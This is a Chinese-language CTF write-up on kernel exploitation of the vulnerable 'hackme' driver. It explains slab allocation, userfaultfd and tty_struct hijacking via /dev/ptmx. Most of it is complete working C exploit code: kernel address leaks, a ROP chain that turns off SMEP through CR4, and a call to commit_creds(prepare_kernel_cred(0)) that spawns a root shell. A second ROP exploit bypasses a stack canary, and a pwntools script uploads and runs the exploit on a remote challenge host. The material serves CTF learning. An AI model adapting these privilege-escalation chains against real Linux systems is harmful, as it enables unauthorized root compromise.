承接上文
一
参考的还是bsauce大佬的文章
bsauce
稍微回顾一下
漏洞有两个
首先我们显而易见的在读写object的时候对offset没有检查
如果我们的offset是负数
就可以任意地址读写。
第二个是条件竞争
是双核的,对pool的时候缺少锁。
如果我们在一个线程释放obiect的时候另一个线程去对他进行读写,就可以触发uaf。
首先我们要充分熟悉一下slab机制
在Linux中,伙伴系统(buddy system)是以页为单位管理和分配内存。但是现实的需求却以字节为单位,假如我们需要申请20Bytes,总不能分配一页吧!那岂不是严重浪费内存。那么该如何分配呢?slab分配器就应运而生了,专为小内存分配而生。slab分配器分配内存以Byte为单位。但是slab分配器并没有脱离伙伴系统,而是基于伙伴系统分配的大内存进一步细分成小内存分配。
https://blog.csdn.net/xiaoqiaoq0/article/details/122051942
再熟悉一下userfaultfd机制
内存页的分配是创建时先分配页表但并不会实际分配物理页面。在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写。这种延迟分配的机制使得系统性能在一定程序上得到了提升。
userfaultfd机制允许在用户态处理缺页异常,这个特性使得它在内核漏洞利用中可以发挥较大的作用。一个典型的场景时mmap出来一块内存,使用userfaultfd监视该地址,如果发生缺页异常先进入内核,再从内核到用户态定义的缺页处理程序,此时可以在用户态暂停从而间接的实现暂停内核态代码的运行。这种特性使得该机制在竞争以及double fetch类的漏洞利用中能够发挥较大作用。
上次说了通过任意地址读写劫持modprobe_path的思路
bsauce大佬还提出几种思路
我们也来复现一下。
这个是劫持tty_struct 的ioctl函数
save_status();
int fd = open("/dev/hackme", 0);
char *mem = malloc(0x2000);
memset(mem,'A',0x2000);
size_t heap_addr , kernel_addr,mod_addr;
if (fd < 0){
printf("[-] bad open /dev/hackme\n");
exit(-1);
}
alloc(fd,0,mem,0x400);
alloc(fd,1,mem,0x400);
alloc(fd,2,mem,0x400);
alloc(fd,3,mem,0x400);
alloc(fd,4,mem,0x400);
alloc(fd,5,mem,0x400);
delete(fd,2);
delete(fd,4);
read_from_kernel(fd,5,mem,0x400,-0x400);
heap_addr = *((size_t *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );
save_status函数保存了当前状态
然后就是正常的跟之前一样的泄露heap基地址
int ptmx_fd = open("/dev/ptmx",0);
if (ptmx_fd < 0){
printf("[-] bad open /dev/ptmx\n");
exit(-1);
}
printf("[+] ptmx fd : %d\n",ptmx_fd);
read_from_kernel(fd,5,mem,0x400,-0x400);
kernel_addr = *((size_t *)(mem+0x18)) ;
kernel_addr -= 0x625d80;
printf("[+] kernel addr : %16llx\n",kernel_addr );
prepare_kernel_cred = 0x4d3d0 + kernel_addr;
commit_creds = 0xbcfb0+kernel_addr;
然后打开了/dev/ptmx设备
这个设备是干嘛的?
我们得首先了解一下linux 伪终端
具体到/dev/ptmx用处:
我们打开的终端桌面程序,比如 GNOME Terminal,其实是一种终端模拟软件。当终端模拟软件运行时,它通过打开 /dev/ptmx 文件创建了一个伪终端的 master 和 slave 对,并让 shell 运行在 slave 端。当用户在终端模拟软件中按下键盘按键时,它产生字节流并写入 master 中,shell 进程便可从 slave 中读取输入;shell 和它的子程序,将输出内容写入 slave 中,由终端模拟软件负责将字符打印到窗口中。
打开/dev/ptmx设备之后会创建一个tty结构体
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
int alt_speed; /* For magic substitution of 38400 bps */
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
};
里面的重点是一个tty_operations指针
它指向一个结构体
这个就构体里面充斥着大量的指针
那么我们的机会就来了。
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};
首先我们让chunk4地址上分到tty结构体
我们可以看到之前申请的slab都是0x400
tty结构体大小一般是0x200多,不同版本内核会不大一样
但是tty结构体是0x200多为什么可以申请到slab4的地方?
这个是object大小的规则
const struct kmalloc_info_struct kmalloc_info[] __initconst = {
{NULL, 0},
{"kmalloc-96", 96},
{"kmalloc-192", 192},
{"kmalloc-8", 8},
{"kmalloc-16", 16},
{"kmalloc-32", 32},
{"kmalloc-64", 64},
{"kmalloc-128", 128},
{"kmalloc-256", 256},
{"kmalloc-512", 512},
{"kmalloc-1024", 1024},
{"kmalloc-2048", 2048},
{"kmalloc-4096", 4096},
{"kmalloc-8192", 8192},
{"kmalloc-16384", 16384},
{"kmalloc-32768", 32768},
{"kmalloc-65536", 65536},
{"kmalloc-131072", 131072},
{"kmalloc-262144", 262144},
{"kmalloc-524288", 524288},
{"kmalloc-1048576", 1048576},
{"kmalloc-2097152", 2097152},
{"kmalloc-4194304", 4194304},
{"kmalloc-8388608", 8388608},
{"kmalloc-16777216", 16777216},
{"kmalloc-33554432", 33554432},
{"kmalloc-67108864", 67108864}
};
0x2e0跟0x400一个档次。
然后顺路泄露kernal_base地址。
得到prepare_kernal_cred、commit_creds函数地址。
具体偏移怎么得到可以在下图以及下下图。
我们可以看到
申请6个0x400slab之后
再释放其中一个,他是没有指针的。
我们一般常说slab机制,分配的也是slab
但这其实不是很准确
一般分配的应该是object
很多object会组成一个slab
图来自And乔
因为分配完了所以没指针。
再次释放完object4之后
里面会有object2的地址。
但是实际脚本跑起来以后发现这文件打不开
然后费了老大劲来研究这个问题
泄露地址用的是object2
tty用的object3
所以你看到800这个地方有很多地址
+0x18 的地方可以泄露kernal_base
泄露出来的地址也可以看到都一样。
tty->operations已经被改成了slab地址 被劫持掉了。
operation中的前面一些函数全被劫持成了一个gadget。
为啥嘞?
因为我们在调试的时候,发现当执行ioctl函数的时候
rbx是tty结构体。
咋看的,就直接下断下在劫持的函数那里就行。
然后因为rbx是tty结构体
找到了一段这样的gadget
mov rax, qword ptr [rbx + 0x38];
lea rdi, qword ptr [rbx + 0x20];
mov rdx, qword ptr [rax + 0xc8];
test rdx, rdx;
je 0x25d805;
call rdx;
先说咋找的。
ropper搜这个
mov rax, qword ptr [rbx +
第一句首先利用rbx+0x38地方的值放进rax
这就是为什么我们劫持tty_operation的时候还顺路劫持了一下tty_struct+0x38
rdi那句不用管
然后把rax+0xc8地方的值放到rdx,然后call一下。
我们rax还是劫持在了object1 然后在其+0xc8的地方可以放下一个函数。
下一个函数放啥呢?
我们的最终目的是想栈迁移,移动rsp。
所以我们又找了gadget
mov rsp, rax
jmp loc_200EE7
pop r12
mov rdi, rsp
call sub_16190
mov rsp, rax
lea rbp, [rsp+70h+var_6F]
push r12
retn
rax的值是object里的一个地址。我们可控。
然后给了rsp。
rsp里直接放上rop
即可完成栈迁移。
栈迁移的话首先要关闭smep smap这样子
然后做一个ret2user
相关gadget就这样搜就可以
exp
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002
struct arg
{
size_t idx;
void *addr;
long long len;
long long offset;
};
void alloc(int fd,int idx,char *user,long long len){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
ioctl(fd,ALLOC,&cmd);
}
void delete(int fd,int idx){
struct arg cmd;
cmd.idx = idx;
ioctl(fd,DEL,&cmd);
}
void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,READ,&cmd);
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,WRITE,&cmd);
}
size_t user_cs, user_ss,user_rflags, user_sp ,user_gs,user_es,user_fs,user_ds;
void save_status(){
__asm__("mov %%cs, %0\n"
"mov %%ss,%1\n"
"mov %%rsp,%2\n"
"pushfq\n"
"pop %3\n"
"mov %%gs,%4\n"
"mov %%es,%5\n"
"mov %%fs,%6\n"
"mov %%ds,%7\n"
::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),
"m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
);
puts("[*]status has been saved.");
}
void sh(){
system("sh");
exit(0);
}
int (*commit_creds)(unsigned long cred);
unsigned long (*prepare_kernel_cred)(unsigned long cred);
void sudo(){
commit_creds(prepare_kernel_cred(0));
asm(
"push %0\n"
"push %1\n"
"push %2\n"
"push %3\n"
"push %4\n"
"push $0\n" //rbp
"swapgs\n"
"pop %%rbp\n" //rbp
"iretq\n"
::"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_cs),"a"(&sh)
);
}
int main(){
save_status();
int fd = open("/dev/hackme", O_RDWR);
char *mem = malloc(0x2000);
memset(mem,'A',0x2000);
size_t heap_addr , kernel_addr,mod_addr;
if (fd < 0){
printf("[-] bad open /dev/hackme\n");
exit(-1);
}
alloc(fd,0,mem,0x400);
alloc(fd,1,mem,0x400);
alloc(fd,2,mem,0x400);
alloc(fd,3,mem,0x400);
alloc(fd,4,mem,0x400);
delete(fd,2);
delete(fd,3);
read_from_kernel(fd,4,mem,0x400,-0x400);
heap_addr = *((size_t *)mem);
printf("[+] heap addr : 0x%16llx\n",heap_addr );
int ptmx_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (ptmx_fd < 0){
printf("[-] bad open /dev/ptmx\n");
printf("[+] ptmx fd : %d\n",errno);
exit(-1);
}
printf("[+] ptmx fd : %d\n",ptmx_fd);
read_from_kernel(fd,4,mem,0x400,-0x400);
kernel_addr = *((size_t *)(mem+0x18)) ;
kernel_addr -= 0x625d80;
printf("[+] kernel addr : 0x%16llx\n",kernel_addr );
prepare_kernel_cred = 0x4d3d0 + kernel_addr;
commit_creds = 0x4d220 + kernel_addr;
printf("[+] prepare_kernel_cred : 0x%16llx\n",prepare_kernel_cred );
printf("[+] commit_creds : 0x%16llx\n",commit_creds );
*((size_t *)(mem+0x18)) = heap_addr-0x400+0x20; //tty_operations
*((size_t *)(mem+0x38)) = heap_addr-0x400+0x300; //rop chain
write_to_kernel(fd,4,mem,0x400,-0x400);
printf("[+] finished overwrite fops\n");
for(int j;j<0x10;j++){ //这个地方必须写上16个指针。
*((size_t *)(mem+0x20+8*j)) = kernel_addr + 0x5dbef; // gadget 1
}
*((size_t *)(mem+0x300)) = kernel_addr + 0x01b5a1; //pop rax ; ret
*((size_t *)(mem+0x300+8)) = 0x6f0;
*((size_t *)(mem+0x300+16)) = kernel_addr + 0x0252b; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
*((size_t *)(mem+0x300+24)) = 0xdeadbeef;
*((size_t *)(mem+0x300+32)) = &sudo;
*((size_t *)(mem+0x300+0xc8)) = kernel_addr +0x200f66; // gadget 2
write_to_kernel(fd,1,mem,0x400,0);
getchar();
ioctl(ptmx_fd,0xdeadbeef,0xdeadbabe);
}
至于劫持tty_write
因为rax直接已经是tty结构体了。
所以gadget直接省了。
要在额外插一句
在开启 KPTI 的情况下直接返回用户态会 segmentation fault,可以把原来的返回地址 getRootShell 函数设为 SIGSEGV 信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。
但是我们可以直接用swapgs_restore_regs_and_return_to_usermode
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
void get_shell(void){
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}
void add(int fd,int size)
{
ioctl(fd,0x73311337,size);
}
void put(int fd)
{
ioctl(fd,0xDEADBEEF);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
int fd = open("/dev/homuratql666",O_RDWR);
if (fd < 0) {
printf("wrong with open /dev/homuratql666");
}
size_t kernal_base ;
size_t canary;
size_t rop[100];
char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";
add(fd, 0x400);
write(fd, format, 50);
put(fd);
printf("input vmlinux addr\n");
scanf("%llx",&kernal_base);
printf("input canary\n");
scanf("%llx",&canary);
kernal_base = kernal_base - 0x1c827f;
size_t prepare_kernel_cred = kernal_base + 0x81790;
size_t commit_creds = kernal_base + 0x81410;
size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;
size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;
size_t pop_rbx = kernal_base +0x926;//pop rbx; ret;
size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx;
size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;
size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;
printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);
printf("commit_creds:0x%llx \n",commit_creds);
save_stats();
int i = 0;
for(i = 0; i <= 60; i ++) {
rop[i] = "aaaaaaaa";
}
i = 32;
rop[i++] = canary; // canary
rop[i++] = canary; // rbp
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = push_rax;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = pop_rbx;
rop[i++] = pop_rdx;
rop[i++] = call_rbx;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t) get_shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x1b0); //copy can't more than rop
}
传文件的脚本
from pwn import *
import base64
import os
#context.log_level = 'debug'
r = remote('node4.buuoj.cn', 28313)
def exec_cmd(str):
r.sendlineafter("$ ", str)
def upload():
p = log.progress("Upload")
with open("./exp", "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))
exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")
p.success()
upload()
exec_cmd("./bout")
r.interactive()
远程时间太短了
exp传不上去 怪不得是0解 但是本地肯定打通了。